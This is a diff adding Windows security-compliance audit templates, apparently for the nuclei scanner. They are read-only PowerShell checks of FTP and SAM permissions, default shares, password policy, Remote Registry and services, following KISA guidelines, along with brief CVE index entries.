+# digest: 4a0a00473045022100a7c487be6ab61661f88bb5bc891f8f13a6c552b7ccd2a368b5c39189358fe452022018c475e6e9d30bb1f170fb3eeac3fc47d562758aec1e44e887f744dfcd7140b0:922c64590222798bb761d5b6d8e72950

code/windows/audit/kisa/ftp-directory-permission-check.yaml

@@ -0,0 +1,57 @@
+id: ftp-directory-permission-check
+
+info:
+  name: FTP Directory Access Permission Check
+  author: nukunga[SungHyunJeon]
+  severity: medium
+  description: |
+    Ensure that the FTP home directory does not include the "Everyone" group in its access permissions. Granting access to this group may allow unauthorized users to view, modify, or tamper with FTP files.
+  impact: |
+    Assigning access to the "Everyone" group for the FTP home directory can result in information exposure, file tampering, or unauthorized changes.
+  remediation: |
+    Remove the "Everyone" group from FTP home directory permissions using the following methods:
+    - IIS Manager: Review and adjust the FTP site's home directory settings.
+    - File Explorer: Right-click the directory, select "Properties" → go to the "Security" tab, and remove the "Everyone" group.
+  reference:
+    - https://isms.kisa.or.kr/main/csap/notice/?boardId=bbs_0000000000000004&mode=view&cntId=85
+  tags: ftp,iis,security,windows,code,windows-audit,kisa
+
+self-contained: true
+
+code:
+  - pre-condition: |
+      IsWindows();
+    engine:
+      - powershell
+      - powershell.exe
+    args:
+      - -ExecutionPolicy
+      - Bypass
+    pattern: "*.ps1"
+    source: |
+      # Define the FTP home directory path (adjust if necessary)
+      $ftpHome = "C:\inetpub\ftproot"
+      if (!(Test-Path $ftpHome)) {
+          "FTP_HOME_DIRECTORY_NOT_FOUND"
+          exit
+      }
+      # Retrieve the ACL for the FTP home directory
+      $acl = Get-Acl $ftpHome
+      $vulnerable = $false
+      foreach ($ace in $acl.Access) {
+          if ($ace.IdentityReference.ToString() -like "*Everyone*") {
+              $vulnerable = $true
+              break
+          }
+      }
+      if ($vulnerable) {
+          "FTP_HOME_DIRECTORY_EVERYONE_FOUND"
+      } else {
+          "FTP_HOME_DIRECTORY_NO_EVERYONE"
+      }
+
+    matchers:
+      - type: word
+        words:
+          - "FTP_HOME_DIRECTORY_EVERYONE_FOUND"
+# digest: 4b0a00483046022100d2fa5c4c6cbaa3343621441e4498d6bdf29509bfa9107ff0e9795621ba221137022100a9325c7ef8d03bfacfd7ca0a310e27544f6fb4fc5cb71566340282c780ca3717:922c64590222798bb761d5b6d8e72950

code/windows/audit/kisa/hard-disk-default-share.yaml

@@ -0,0 +1,75 @@
+id: hard-disk-default-share
+
+info:
+  name: Hard Disk Default Share Removal Check
+  author: nukunga[SungHyunJeon]
+  severity: medium
+  description: |
+    Ensure default administrative shares (e.g., C$, D$, Admin$) are disabled by verifying that the AutoShareServer registry value is set to 0.
+    Leaving these shares enabled can expose system resources to unauthorized access.
+  impact: |
+   If the AutoShareServer registry value is set to 1 or default administrative shares (excluding IPC$) are present, attackers may exploit them to gain unauthorized access to system resources.
+  remediation: |
+    Permanently disable default administrative shares by setting the AutoShareServer registry value to 0 at:
+    - HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters
+    - Additionally, remove any non-essential default shares using the appropriate system management tools.
+  reference:
+    - https://isms.kisa.or.kr/main/csap/notice/?boardId=bbs_0000000000000004&mode=view&cntId=85
+  tags: ftp,iis,code,windows-audit,kisa,share-permissions
+
+self-contained: true
+
+code:
+  - pre-condition: |
+      IsWindows();
+    engine:
+      - powershell
+      - powershell.exe
+    args:
+      - -ExecutionPolicy
+      - Bypass
+    pattern: "*.ps1"
+    source: |
+      $vulnerable = $false
+      # Check the AutoShareServer registry value
+      $regPath = 'HKLM:\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters'
+      $autoShare = (Get-ItemProperty -Path $regPath -Name AutoShareServer -ErrorAction SilentlyContinue).AutoShareServer
+      if ($autoShare -eq 1) {
+          $vulnerable = $true
+      }
+      # Retrieve list of shared folders using 'net share'
+      $netShares = net share | Out-String
+      $lines = $netShares -split "`n"
+      $shareNames = @()
+      $startParsing = $false
+      foreach ($line in $lines) {
+          if ($line -match "^-+") {
+              $startParsing = $true
+              continue
+          }
+          if ($startParsing -and $line.Trim() -ne "" -and $line -notmatch "The command completed successfully") {
+              $tokens = $line.Trim() -split "\s+"
+              if ($tokens.Count -gt 0) {
+                  $shareNames += $tokens[0]
+              }
+          }
+      }
+      # Define default shares to check (excluding IPC$)
+      $defaultShares = @("C$", "D$", "Admin$")
+      foreach ($share in $shareNames) {
+          if ($defaultShares -contains $share) {
+              $vulnerable = $true
+              break
+          }
+      }
+      if ($vulnerable) {
+          "DEFAULT_SHARE_VULNERABLE"
+      } else {
+          "DEFAULT_SHARE_COMPLIANT"
+      }
+
+    matchers:
+      - type: word
+        words:
+          - "DEFAULT_SHARE_VULNERABLE"
+# digest: 4a0a004730450221009ebdc7c1aef05392bad7dfec19455d19a49841b9c5450289066663f12f7cf7b702205fc2205ef3699f0479d05c18f6ba580269db8bfb3265cd700a7084fbe01794e2:922c64590222798bb761d5b6d8e72950

code/windows/audit/kisa/password-cleartext-encryption.yaml

@@ -0,0 +1,50 @@
+id: password-cleartext-encryption
+
+info:
+  name: Store Passwords Using Reversible Encryption Check
+  author: nukunga[SungHyunJeon]
+  severity: medium
+  description: |
+    Ensure the "Store passwords using reversible encryption" policy is set to Disabled. If enabled, it can allow stored passwords to be retrieved in plaintext, posing a serious security risk.
+  impact: |
+    If this setting is enabled, attackers could potentially recover user passwords, leading to unauthorized access and compromise of network resources.
+  remediation: |
+    Disable this policy using one of the following methods:
+    - Command Line: Export the security configuration, set ClearTextPassword=0, and reapply it using secedit.
+    - GUI: Open Local Security Policy → Account Policies → Password Policy → "Store passwords using reversible encryption" and set it to Disabled.
+  reference:
+    - https://isms.kisa.or.kr/main/csap/notice/?boardId=bbs_0000000000000004&mode=view&cntId=85
+  tags: code,windows-audit,kisa,account-management,password-policy
+
+self-contained: true
+
+code:
+  - pre-condition: |
+      IsWindows();
+    engine:
+      - powershell
+      - powershell.exe
+    args:
+      - -ExecutionPolicy
+      - Bypass
+    pattern: "*.ps1"
+    source: |
+      # Export security settings to a configuration file
+      secedit /export /cfg C:\cfg.txt | Out-Null
+      $cfg = Get-Content C:\cfg.txt | Out-String
+      if ($cfg -match "ClearTextPassword\s*=\s*(\d)") {
+          $value = $Matches[1]
+          if ($value -eq "1") {
+              "CLEAR_TEXT_PASSWORD_ENABLED"
+          } else {
+              "CLEAR_TEXT_PASSWORD_DISABLED"
+          }
+      } else {
+          "CLEAR_TEXT_PASSWORD_NOT_FOUND"
+      }
+
+    matchers:
+      - type: word
+        words:
+          - "CLEAR_TEXT_PASSWORD_ENABLED"
+# digest: 490a0046304402206180f772353986ee4ee889d90160f393e2ebc4aa0522f36d6f7c786b055b70b9022012eaa06861d6d4669161f399c0c732efcc36cb235c906f501355a7dc2506a1b6:922c64590222798bb761d5b6d8e72950

code/windows/audit/kisa/password-never-expires.yaml

@@ -0,0 +1,49 @@
+id: password-never-expires
+
+info:
+  name: Password Expiry Setting Check
+  author: nukunga[SungHyunJeon]
+  severity: medium
+  description:
+    Ensure the "Password never expires" setting is disabled for all active user accounts so that password expiration policies can be enforced effectively.
+  impact: |
+    Enabling the "Password never expires" setting overrides the maximum password age policy, preventing its enforcement and increasing the likelihood of credential compromise.
+  remediation: |
+    Disable the "Password never expires" setting using one of the following methods:
+    - Command Line: > wmic useraccount where name="USERNAME" set passwordexpires=true
+    - GUI: Use Local Security Policy to modify the user account settings accordingly.
+  reference:
+    - https://isms.kisa.or.kr/main/csap/notice/?boardId=bbs_0000000000000004&mode=view&cntId=85
+  tags: code,windows-audit,kisa,account-management,password-policy
+
+self-contained: true
+
+code:
+  - pre-condition: |
+      IsWindows();
+
+    engine:
+      - powershell
+      - powershell.exe
+
+    args:
+      - -ExecutionPolicy
+      - Bypass
+
+    pattern: "*.ps1"
+
+    source: |
+      # Check all local, active user accounts for the password expiry setting
+      $users = Get-WmiObject -Class Win32_UserAccount -Filter "LocalAccount=True and Disabled=False"
+      $vulnerable = $users | Where-Object { $_.PasswordExpires -eq $false }
+      if ($vulnerable) {
+          "PASSWORD_NEVER_EXPIRES_ENABLED"
+      } else {
+          "PASSWORD_NEVER_EXPIRES_DISABLED"
+      }
+
+    matchers:
+      - type: word
+        words:
+          - "PASSWORD_NEVER_EXPIRES_ENABLED"
+# digest: 4a0a0047304502203a4e9f5693235c56c670435681254344148b0278f6a6eca57a8b7f5efd5391ff022100e4ea776f07c36b837213a54e95d5e4f3bcc8344ef8b382bf3875c45303b56a3d:922c64590222798bb761d5b6d8e72950

code/windows/audit/kisa/rds-removal-check.yaml

@@ -0,0 +1,79 @@
+id: rds-removal-check
+
+info:
+  name: RDS Removal Check
+  author: nukunga[SungHyunJeon]
+  severity: medium
+  description: |
+    Ensure that Remote Data Services (RDS) are either removed or not configured to reduce the risk of denial-of-service attacks or remote execution of administrative commands.
+    Compliance is met if any of the following conditions are true:
+    - IIS is not installed or in use,
+    - The default website does not include the /msadc virtual directory, or
+    - The relevant ADCLaunch registry keys associated with RDS are not present.
+  impact: |
+    Improperly configured RDS can be exploited by attackers to execute remote code or launch denial-of-service attacks.
+  remediation: |
+    To mitigate RDS-related risks, take the following actions:
+      - Remove the /msadc virtual directory from the default website.
+      - Delete these registry keys:
+        - HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\ADCLaunch\RDSServer.DataFactory
+        - HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\ADCLaunch\AdvancedDataFactory
+        - HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\ADCLaunch\VbBusObj.VbBusObjCls
+  reference:
+    - https://isms.kisa.or.kr/main/csap/notice/?boardId=bbs_0000000000000004&mode=view&cntId=85
+  tags: rds,code,windows-audit,kisa
+
+self-contained: true
+
+code:
+  - pre-condition: |
+      IsWindows();
+
+    engine:
+      - powershell
+      - powershell.exe
+
+    args:
+      - -ExecutionPolicy
+      - Bypass
+
+    pattern: "*.ps1"
+
+    source: |
+      # Check if IIS (W3SVC) service is present; if not, IIS is not used and RDS is implicitly compliant.
+      $iisService = Get-Service -Name W3SVC -ErrorAction SilentlyContinue
+      if (-not $iisService) {
+          Write-Output "RDS_COMPLIANT"
+          exit
+      }
+      # Check for the existence of the /msadc virtual directory in the Default Web Site.
+      $msadcExists = $false
+      try {
+          Import-Module WebAdministration -ErrorAction SilentlyContinue
+          $vdirs = Get-WebVirtualDirectory -Site "Default Web Site" -ErrorAction SilentlyContinue
+          if ($vdirs) {
+              foreach ($vdir in $vdirs) {
+                  if ($vdir.Path -eq "/msadc") {
+                      $msadcExists = $true
+                      break
+                  }
+              }
+          }
+      } catch {}
+      # Check for ADCLaunch registry keys related to RDS.
+      $adcLaunchPath = "HKLM:\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\ADCLaunch"
+      $rdServerExists = Test-Path "$adcLaunchPath\RDSServer.DataFactory"
+      $advDataExists = Test-Path "$adcLaunchPath\AdvancedDataFactory"
+      $vbBusObjExists = Test-Path "$adcLaunchPath\VbBusObj.VbBusObjCls"
+      # Compliance is achieved if the /msadc virtual directory does not exist OR none of the registry keys exist.
+      if ((-not $msadcExists) -or (-not ($rdServerExists -or $advDataExists -or $vbBusObjExists))) {
+          Write-Output "RDS_COMPLIANT"
+      } else {
+          Write-Output "RDS_VULNERABLE"
+      }
+
+    matchers:
+      - type: word
+        words:
+          - "RDS_VULNERABLE"
+# digest: 490a00463044022040fa4e2daa7a86c4a99e9e8b693567504a71bc593b6b90852043b263b37c438a0220309aa44e82609268e6f6d529ef3354fde78cfc0580b52f24eb03f9ef1539770e:922c64590222798bb761d5b6d8e72950

code/windows/audit/kisa/remote-registry-access-check.yaml

@@ -0,0 +1,44 @@
+id: remote-registry-access-check
+
+info:
+  name: Remote Registry Service Disabled Check
+  author: nukunga[SungHyunJeon]
+  severity: medium
+  description: |
+    Ensure the Remote Registry Service is disabled to block remote access to the Windows registry. Allowing remote registry access can lead to unauthorized changes and pose a serious security risk.
+  impact: |
+    If the Remote Registry Service is enabled, attackers with administrative privileges could remotely access and modify registry settings, heightening the risk of system compromise.
+  remediation: |
+    Disable the Remote Registry Service by setting its startup type to "Disabled" (Start value = 4) using one of the following methods:
+    - Registry Editor: Navigate to
+       - HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RemoteRegistry and set the Start value to 4.
+        - Services Console: Locate the Remote Registry service, set its startup type to "Disabled", and stop the service.
+  reference:
+    - https://isms.kisa.or.kr/main/csap/notice/?boardId=bbs_0000000000000004&mode=view&cntId=85
+  tags: code,windows-audit,kisa,registry,remote-access
+
+self-contained: true
+
+code:
+  - pre-condition: |
+      IsWindows();
+    engine:
+      - powershell
+      - powershell.exe
+    args:
+      - -ExecutionPolicy
+      - Bypass
+    pattern: "*.ps1"
+    source: |
+      $remoteRegistry = Get-Service -Name RemoteRegistry -ErrorAction SilentlyContinue
+      if ($remoteRegistry -and $remoteRegistry.Status -eq "Running") {
+          "REMOTE_REGISTRY_ENABLED"
+      } else {
+          "REMOTE_REGISTRY_DISABLED"
+      }
+
+    matchers:
+      - type: word
+        words:
+          - "REMOTE_REGISTRY_ENABLED"
+# digest: 490a0046304402203fb235c6a7ca71c6858e31c863effedd845cf40e384b97b22051a206c0bbcc08022020ec6be858126ba85edc925c32e91882a68c38aadf86a1793bcd5670c54fde24:922c64590222798bb761d5b6d8e72950

code/windows/audit/kisa/remote-system-shutdown.yaml

@@ -0,0 +1,52 @@
+id: remote-system-shutdown
+
+info:
+  name: Remote System Forced Shutdown Privilege Check
+  author: nukunga[SungHyunJeon]
+  severity: medium
+  description: |
+    Ensure the "Force shutdown from a remote system" policy (SeRemoteShutdownPrivilege) is assigned only to the Administrators group (SID: S-1-5-32-544). Granting this privilege to unauthorized accounts can allow attackers to remotely shut down the system, posing a significant risk.
+  impact: |
+    Granting this privilege to accounts or groups other than Administrators can be exploited to carry out unauthorized remote shutdowns, resulting in service disruptions or denial-of-service conditions.
+  remediation: |
+    Configure the policy to grant the SeRemoteShutdownPrivilege exclusively to the Administrators group by setting its value to S-1-5-32-544 only.
+  reference:
+    - https://isms.kisa.or.kr/main/csap/notice/?boardId=bbs_0000000000000004&mode=view&cntId=85
+  tags: policy,code,windows-audit,kisa
+
+self-contained: true
+
+code:
+  - pre-condition: |
+      IsWindows();
+    engine:
+      - powershell
+      - powershell.exe
+    args:
+      - -ExecutionPolicy
+      - Bypass
+    pattern: "*.ps1"
+    source: |
+      # Export the current security settings to a configuration file.
+      $cfgPath = "C:\cfg.txt"
+      secedit /export /cfg $cfgPath | Out-Null
+      # Read the exported configuration file.
+      $cfg = Get-Content $cfgPath | Out-String
+      # Extract the SeRemoteShutdownPrivilege value.
+      if ($cfg -match "SeRemoteShutdownPrivilege\s*=\s*(.*)") {
+          $privs = $Matches[1].Trim()
+          # Check if only the Administrators SID (S-1-5-32-544) is present.
+          if ($privs -eq "S-1-5-32-544") {
+              "REMOTE_SHUTDOWN_PRIVILEGE_COMPLIANT"
+          } else {
+              "REMOTE_SHUTDOWN_PRIVILEGE_VULNERABLE"
+          }
+      } else {
+          "REMOTE_SHUTDOWN_PRIVILEGE_NOT_FOUND"
+      }
+
+    matchers:
+      - type: word
+        words:
+          - "REMOTE_SHUTDOWN_PRIVILEGE_VULNERABLE"
+# digest: 490a004630440220036867acb4067c5a103c2ebd6f8b8c3afc113f9c35cffdf696aa7951ab6eca3d022073e3c70aef90e0785eada52c27726cabdfe0020fd19de73994062f43744f8601:922c64590222798bb761d5b6d8e72950

code/windows/audit/kisa/sam-file-access-control.yaml

@@ -0,0 +1,59 @@
+id: sam-file-access-control
+
+info:
+  name: SAM File Access Control Check
+  author: nukunga[SungHyunJeon]
+  severity: medium
+  description: |
+    Ensure the SAM file (%SystemRoot%\system32\config\SAM) is secured so that only the Administrators and SYSTEM groups have full access.The presence of permissions for any other users or groups represents a potential security vulnerability.
+  impact: |
+    If users or groups besides Administrators and SYSTEM have access to the SAM file, attackers could exploit this to obtain sensitive password data, raising the risk of password-based attacks.
+  remediation: |
+    Revoke any permissions assigned to users or groups other than Administrators and SYSTEM by:
+    - Running the command: > cacls %systemroot%\system32\config\SAM /remove:g [UserOrGroup]
+    - Or by adjusting the permissions through File Explorer.
+  reference:
+    - https://isms.kisa.or.kr/main/csap/notice/?boardId=bbs_0000000000000004&mode=view&cntId=85
+  tags: sam,account-management,code,windows-audit,kisa
+
+self-contained: true
+
+code:
+  - pre-condition: |
+      IsWindows();
+    engine:
+      - powershell
+      - powershell.exe
+    args:
+      - -ExecutionPolicy
+      - Bypass
+    pattern: "*.ps1"
+    source: |
+      $samPath = "$env:SystemRoot\system32\config\SAM"
+      if (-Not (Test-Path $samPath)) {
+          "SAM_FILE_NOT_FOUND"
+          exit
+      }
+      # Retrieve the ACL for the SAM file
+      $acl = Get-Acl $samPath
+      # Define allowed identities (variations may exist)
+      $allowed = @("BUILTIN\Administrators", "Administrators", "NT AUTHORITY\SYSTEM", "SYSTEM")
+      $vulnerable = $false
+      foreach ($ace in $acl.Access) {
+          $account = $ace.IdentityReference.ToString()
+          if ($allowed -notcontains $account) {
+              $vulnerable = $true
+              break
+          }
+      }
+      if ($vulnerable) {
+          "SAM_ACCESS_VULNERABLE"
+      } else {
+          "SAM_ACCESS_COMPLIANT"
+      }
+
+    matchers:
+      - type: word
+        words:
+          - "SAM_ACCESS_VULNERABLE"
+# digest: 490a00463044022040dec32d4771631e7b3d39511a48983e2fadad35eb9c1c0ddd873fbdf3d204ab02203870f2731378bab592f0218f083a88ca737324ef53a99f9a182488e58c645970:922c64590222798bb761d5b6d8e72950

code/windows/audit/kisa/service-pack-check.yaml

@@ -0,0 +1,65 @@
+id: service-pack-check
+
+info:
+  name: Latest Service Pack Check
+  author: nukunga[SungHyunJeon]
+  severity: medium
+  description: |
+    Confirm that the system is updated with the latest security patches and service packs. Regular updates help protect against known vulnerabilities.
+  impact: |
+    Neglecting to install the latest service packs or updates can leave the system vulnerable to exploits and security breaches.
+  remediation: |
+    Apply the latest service packs or build updates as follows:
+      - Windows Server 2012: Refer to https://support.microsoft.com/ko-kr/help/4009470
+      - Windows Server 2016: Refer to https://support.microsoft.com/ko-kr/help/4043454
+      - Windows Server 2019: Refer to https://support.microsoft.com/ko-kr/help/4581839
+  reference:
+    - https://isms.kisa.or.kr/main/csap/notice/?boardId=bbs_0000000000000004&mode=view&cntId=85
+  tags: code,windows-audit,kisa,service-pack,security,patch-management
+
+self-contained: true
+
+code:
+  - pre-condition: |
+      IsWindows();
+
+    engine:
+      - powershell
+      - powershell.exe
+
+    args:
+      - -ExecutionPolicy
+      - Bypass
+
+    pattern: "*.ps1"
+    source: |
+      # Retrieve operating system details.
+      $os = Get-CimInstance -ClassName Win32_OperatingSystem
+      $caption = $os.Caption
+      $servicePack = $os.ServicePackMajorVersion
+      # For Windows Server 2012, a service pack should be installed.
+      if ($caption -match "2012") {
+          if ($servicePack -gt 0) {
+              "SERVICE_PACK_COMPLIANT"
+          } else {
+              "SERVICE_PACK_VULNERABLE"
+          }
+      }
+      # For Windows Server 2016, 2019, or 2022, service packs are generally not applicable; assume compliance.
+      elseif ($caption -match "2016" -or $caption -match "2019" -or $caption -match "2022") {
+          "SERVICE_PACK_COMPLIANT"
+      }
+      else {
+          # For other versions, check if a service pack is installed.
+          if ($servicePack -gt 0) {
+              "SERVICE_PACK_COMPLIANT"
+          } else {
+              "SERVICE_PACK_VULNERABLE"
+          }
+      }
+
+    matchers:
+      - type: word
+        words:
+          - "SERVICE_PACK_VULNERABLE"
+# digest: 4b0a00483046022100e9936511acbd6aa8d53493ae304f9720cfa57633ba6f5445fe28f0f73ef15771022100c72324f300f46d3125f554310e950c43b8db81b69cc2df67c0f2c8caf05fa698:922c64590222798bb761d5b6d8e72950

code/windows/audit/kisa/shutdown-without-logon.yaml

@@ -0,0 +1,44 @@
+id: shutdown-without-logon
+
+info:
+  name: Shutdown Without Logon Check
+  author: nukunga[SungHyunJeon]
+  severity: medium
+  description: |
+    Ensure the "Shutdown Without Logon" policy is disabled by confirming that the ShutdownWithoutLogon registry value is set to 0. If enabled, the system permits shutdown from the logon screen, increasing the risk of unauthorized shutdowns.
+  impact: |
+    When enabled, this setting permits unauthorized users to shut down the system without logging in, which can lead to service interruptions.
+  remediation: |
+    Disable this policy by setting the ShutdownWithoutLogon registry value to 0 at:
+    - HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\System
+    - Alternatively, configure the setting through the Local Security Policy.
+  reference:
+    - https://isms.kisa.or.kr/main/csap/notice/?boardId=bbs_0000000000000004&mode=view&cntId=85
+  tags: code,windows-audit,kisa,registry
+
+self-contained: true
+
+code:
+  - pre-condition: |
+      IsWindows();
+    engine:
+      - powershell
+      - powershell.exe
+    args:
+      - -ExecutionPolicy
+      - Bypass
+    pattern: "*.ps1"
+    source: |
+      $regPath = "HKLM:\Software\Microsoft\Windows\CurrentVersion\policies\system"
+      $shutdownValue = (Get-ItemProperty -Path $regPath -Name ShutdownWithoutLogon -ErrorAction SilentlyContinue).ShutdownWithoutLogon
+      if ($shutdownValue -eq 0) {
+          "SHUTDOWN_WITHOUT_LOGON_DISABLED"
+      } else {
+          "SHUTDOWN_WITHOUT_LOGON_ENABLED"
+      }
+
+    matchers:
+      - type: word
+        words:
+          - "SHUTDOWN_WITHOUT_LOGON_ENABLED"
+# digest: 4a0a00473045022018857656947f47ed923eb8d6a88640c2ac9b97657ddfe5469fa3bba48425626f022100e6f589dadc2638398601e3c32538720e816c66f368ae54cbfc6f52dccd2a0de6:922c64590222798bb761d5b6d8e72950

code/windows/audit/kisa/unnecessary-accounts-check.yaml

@@ -0,0 +1,57 @@
+id: unnecessary-accounts-check
+
+info:
+  name: Unnecessary Accounts Detection
+  author: nukunga[SungHyunJeon]
+  severity: medium
+  description:
+    Identify local user accounts that deviate from default settings and could present security risks.
+  impact: |
+    Unmanaged accounts expand the attack surface, making credential-based attacks such as brute-force and password spraying more likely.
+  remediation: |
+    Delete unnecessary accounts by running:
+    - > net user [account_name] /delete
+    - Or disable them via Local Security Policy.
+  reference:
+    - https://isms.kisa.or.kr/main/csap/notice/?boardId=bbs_0000000000000004&mode=view&cntId=85
+  tags: account-management,security-audit,code,windows-audit,kisa
+
+self-contained: true
+
+code:
+  - pre-condition: |
+      IsWindows();
+
+    engine:
+      - powershell
+      - powershell.exe
+
+    args:
+      - -ExecutionPolicy
+      - Bypass
+
+    pattern: "*.ps1"
+    source: |
+      # Default system accounts SID patterns
+      $protectedSIDs = @('*-500', '*-501', '*-503', '*-504')
+      # Get all non-default local users
+      $users = Get-LocalUser | Where-Object {
+          $_.SID -notlike $protectedSIDs[0] -and
+          $_.SID -notlike $protectedSIDs[1] -and
+          $_.SID -notlike $protectedSIDs[2] -and
+          $_.SID -notlike $protectedSIDs[3]
+      }
+      # Output results
+      if ($users) {
+          $userList = $users.Name -join '|'
+          "UNNECESSARY_ACCOUNTS_FOUND: $userList"
+      } else {
+          "NO_UNNECESSARY_ACCOUNTS"
+      }
+
+    matchers:
+      - type: word
+        words:
+          - "UNNECESSARY_ACCOUNTS_FOUND:"
+        part: body
+# digest: 4a0a004730450221008a48585ba39dac74e089e350c9f13dcdb3967121ce24f5e39c3397fee0881e72022073c2b7cd07c39a8e4d3bca7c127017c253c1125fcd96d71312390de684319ef8:922c64590222798bb761d5b6d8e72950

code/windows/audit/kisa/unnecessary-service-check.yaml

@@ -0,0 +1,54 @@
+id: unnecessary-service-check
+
+info:
+  name: Unnecessary Service Removal Check
+  author: nukunga[SungHyunJeon]
+  severity: medium
+  description: |
+    Ensure that unnecessary services such as Alerter, Clipbook, Messenger, and Simple TCP/IP Services are not running. If enabled, these services can expose the system to security vulnerabilities.
+  impact: |
+    Operating these services can offer attackers potential entry points to exploit the system, as they are known to have vulnerabilities.
+  remediation: |
+    To stop and disable these services, run:
+    > net stop [ServiceName]
+    > sc config [ServiceName] start= disabled
+  reference:
+    - https://isms.kisa.or.kr/main/csap/notice/?boardId=bbs_0000000000000004&mode=view&cntId=85
+  tags: service-management,code,windows-audit,kisa
+
+self-contained: true
+
+code:
+  - pre-condition: |
+      IsWindows();
+
+    engine:
+      - powershell
+      - powershell.exe
+
+    args:
+      - -ExecutionPolicy
+      - Bypass
+
+    pattern: "*.ps1"
+    source: |
+      $servicesToCheck = @("Alerter", "Clipbook", "Messenger", "Simple TCP/IP Services")
+      $vulnerable = $false
+      foreach ($svc in $servicesToCheck) {
+          $service = Get-Service -Name $svc -ErrorAction SilentlyContinue
+          if ($service -and $service.Status -eq "Running") {
+              $vulnerable = $true
+              break
+          }
+      }
+      if ($vulnerable) {
+          "UNNECESSARY_SERVICE_RUNNING"
+      } else {
+          "UNNECESSARY_SERVICE_STOPPED"
+      }
+
+    matchers:
+      - type: word
+        words:
+          - "UNNECESSARY_SERVICE_RUNNING"
+# digest: 4b0a00483046022100a5b51f0949b8d7d77496b26bff70e0fdbb95808825e0d377f3910ab091a21b68022100ad1b195f8c1da3fb1e3a4ed6985b3aa570e5981a0249476d8146c2f26fbe6ba1:922c64590222798bb761d5b6d8e72950

cves.json

@@ -1125,6 +1125,8 @@
 {"ID":"CVE-2020-9483","Info":{"Name":"SkyWalking SQLI","Severity":"high","Description":"When using H2/MySQL/TiDB as Apache SkyWalking storage and a metadata query through GraphQL protocol, there is a SQL injection vulnerability which allows access to unexpected data. Apache SkyWalking 6.0.0 to 6.6.0, 7.0.0 H2/MySQL/TiDB storage implementations don't use the appropriate way to set SQL parameters.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2020/CVE-2020-9483.yaml"}
 {"ID":"CVE-2020-9484","Info":{"Name":"Apache Tomcat Remote Command Execution","Severity":"high","Description":"When using Apache Tomcat versions 10.0.0-M1 to 10.0.0-M4, 9.0.0.M1 to 9.0.34, 8.5.0 to 8.5.54 and 7.0.0 to 7.0.103 if\na) an attacker is able to control the contents and name of a file on the server; and\nb) the server is configured to use the PersistenceManager with a FileStore; and\nc) the PersistenceManager is configured with sessionAttributeValueClassNameFilter=\"null\" (the default unless a SecurityManager is used) or a sufficiently lax filter to allow the attacker provided object to be deserialized; and\nd) the attacker knows the relative file path from the storage location used by FileStore to the file the attacker has control over; then, using a specifically crafted request, the attacker will be able to trigger remote code execution via deserialization of the file under their control.\nNote that all of conditions a) to d) must be true for the attack to succeed.\n","Classification":{"CVSSScore":"7"}},"file_path":"http/cves/2020/CVE-2020-9484.yaml"}
 {"ID":"CVE-2020-9496","Info":{"Name":"Apache OFBiz 17.12.03 - Cross-Site Scripting","Severity":"medium","Description":"Apache OFBiz 17.12.03 contains cross-site scripting and unsafe deserialization vulnerabilities via an XML-RPC request.","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2020/CVE-2020-9496.yaml"}
+{"ID":"CVE-2020-9547","Info":{"Name":"FasterXML jackson-databind - Deserialization Remote Code Execution","Severity":"critical","Description":"FasterXML jackson-databind 2.x before 2.9.10.4 mishandles the interaction between serialization gadgets and typing, related to com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig (aka ibatis-sqlmap). This vulnerability allows attackers to execute arbitrary code through deserialization of untrusted data when polymorphic type handling (@JsonTypeInfo with use=JsonTypeInfo.Id.CLASS) is enabled.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2020/CVE-2020-9547.yaml"}
+{"ID":"CVE-2020-9548","Info":{"Name":"FasterXML Jackson Databind \u003c=2.9.10.4 - Remote Code Execution","Severity":"critical","Description":"FasterXML jackson-databind 2.x before 2.9.10.4 mishandles the interaction between serialization gadgets and typing, related to br.com.anteros.dbcp.AnterosDBCPConfig (aka anteros-core).\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2020/CVE-2020-9548.yaml"}
 {"ID":"CVE-2020-9757","Info":{"Name":"Craft CMS \u003c 3.3.0 - Server-Side Template Injection","Severity":"critical","Description":"Craft CMS before 3.3.0 is susceptible to server-side template injection via the SEOmatic component that could lead to remote code execution via malformed data submitted to the metacontainers controller.","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2020/CVE-2020-9757.yaml"}
 {"ID":"CVE-2021-1472","Info":{"Name":"Cisco Small Business RV Series - OS Command Injection","Severity":"critical","Description":"Cisco Small Business RV Series routers RV16X/RV26X versions 1.0.01.02 and before and RV34X versions 1.0.03.20 and before contain multiple OS command injection vulnerabilities in the web-based management interface. A remote attacker can execute arbitrary OS commands via the sessionid cookie or bypass authentication and upload files on an affected device.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2021/CVE-2021-1472.yaml"}
 {"ID":"CVE-2021-1497","Info":{"Name":"Cisco HyperFlex HX Data Platform - Remote Command Execution","Severity":"critical","Description":"Cisco HyperFlex HX contains multiple vulnerabilities in the web-based management interface that could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device.","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2021/CVE-2021-1497.yaml"}
@@ -1754,6 +1756,7 @@
 {"ID":"CVE-2022-23178","Info":{"Name":"Crestron Device - Credentials Disclosure","Severity":"critical","Description":"An issue was discovered on Crestron HD-MD4X2-4K-E 1.0.0.2159 devices. When the administrative web interface of the HDMI switcher is accessed unauthenticated, user credentials are disclosed that are valid to authenticate to the web interface. Specifically, aj.html sends a JSON document with uname and upassword fields.","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2022/CVE-2022-23178.yaml"}
